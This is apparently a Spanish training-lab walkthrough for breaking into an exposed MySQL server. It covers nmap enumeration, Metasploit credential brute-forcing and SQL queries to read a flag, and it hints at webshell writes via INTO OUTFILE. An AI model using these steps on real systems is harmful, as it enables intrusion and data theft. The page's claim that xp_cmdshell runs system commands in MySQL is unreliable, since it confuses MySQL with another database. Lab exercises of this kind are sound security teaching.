📈 ¿Por qué es peligroso un MySQL expuesto?
MySQL escucha por defecto en el puerto 3306/TCP. Cuando está expuesto a la red sin restricciones de IP ni autenticación fuerte, un atacante puede enumerar usuarios, bases de datos y extraer datos sensibles — o incluso ejecutar comandos del sistema con xp_cmdshell si los privilegios lo permiten.
Riesgo crÃtico: MySQL accesible desde Internet con credenciales por defecto (
root sin contraseña) es una de las configuraciones más explotadas en brechas de datos reales.Comandos MySQL átiles una vez dentro
| Comando SQL | Descripción |
|---|---|
| show databases; | Lista todas las bases de datos |
| use <db>; | Selecciona una base de datos |
| show tables; | Lista las tablas de la BD seleccionada |
| describe <tabla>; | Muestra la estructura (columnas) de una tabla |
| select * from <tabla>; | Muestra todos los registros |
| select user(); | Usuario actual de MySQL |
| select @@version; | Versión del servidor |
| select @@datadir; | Ruta del directorio de datos |
🔧 Comandos del laboratorio
1. Identificación del objetivo
bash
cat /root/Desktop/target
2. Escaneo del puerto MySQL
bash
nmap -sS -sV -p 3306 <IP>
3. Enumeración con scripts NSE de Nmap
bash — información del servidor
nmap --script mysql-info -p 3306 <IP>
bash — enumerar usuarios (con credenciales)
nmap --script mysql-users -p 3306 --script-args mysqluser=root,mysqlpass=12345 <IP>
bash — listar bases de datos
nmap --script mysql-databases -p 3306 --script-args mysqluser=root,mysqlpass=12345 <IP>
bash — comprobar acceso sin contraseña
nmap --script mysql-empty-password -p 3306 <IP>
4. Enumeración y fuerza bruta con Metasploit
msfconsole — confirmar versión
use auxiliary/scanner/mysql/mysql_version
set RHOSTS <IP>
exploit
msfconsole — fuerza bruta de credenciales
use auxiliary/scanner/mysql/mysql_login
set RHOSTS <IP>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set STOP_ON_SUCCESS true
exploit
STOP_ON_SUCCESS true: detiene el ataque en cuanto encuentra la primera credencial válida, evitando bloqueos de cuenta por exceso de intentos.
5. Acceso directo con cliente MySQL
bash — conectar al servidor
mysql -u root -p -h <IP>
mysql — explorar y obtener la flag
show databases;
use <nombre_db>;
show tables;
describe <tabla>;
select * from <tabla>;
mysql — leer directamente la flag
select * from flag;
🗼 Flujo del ejercicio
1
ReconocimientoConfirmar servicio MySQL en 3306/TCP con nmap -sV.
2
EnumeraciónScripts NSE para obtener versión, usuarios y bases de datos.
3
Fuerza brutaMetasploit mysql_login para encontrar credenciales válidas.
4
AccesoConectar con
mysql -u <user> -p -h <IP>.5
ExploraciónListar bases de datos, tablas y registros.
6
ObjetivoLocalizar y leer la flag con
SELECT.🎯 ¿Qué buscar? — Indicadores de éxito
- MySQL sin contraseña para
root→ acceso inmediato. - Base de datos
information_schemaaccesible → enumeración completa de estructuras. - Tablas con nombres como
users,credentials,accounts→ extraer hashes. - Permisos
FILEpara el usuario → posible lectura de archivos del sistema conLOAD_FILE(). - Permisos
INTO OUTFILE→ escritura de archivos (posible webshell si hay servidor web). - Versión de MySQL desactualizada → buscar CVEs de inyección o escalada de privilegios.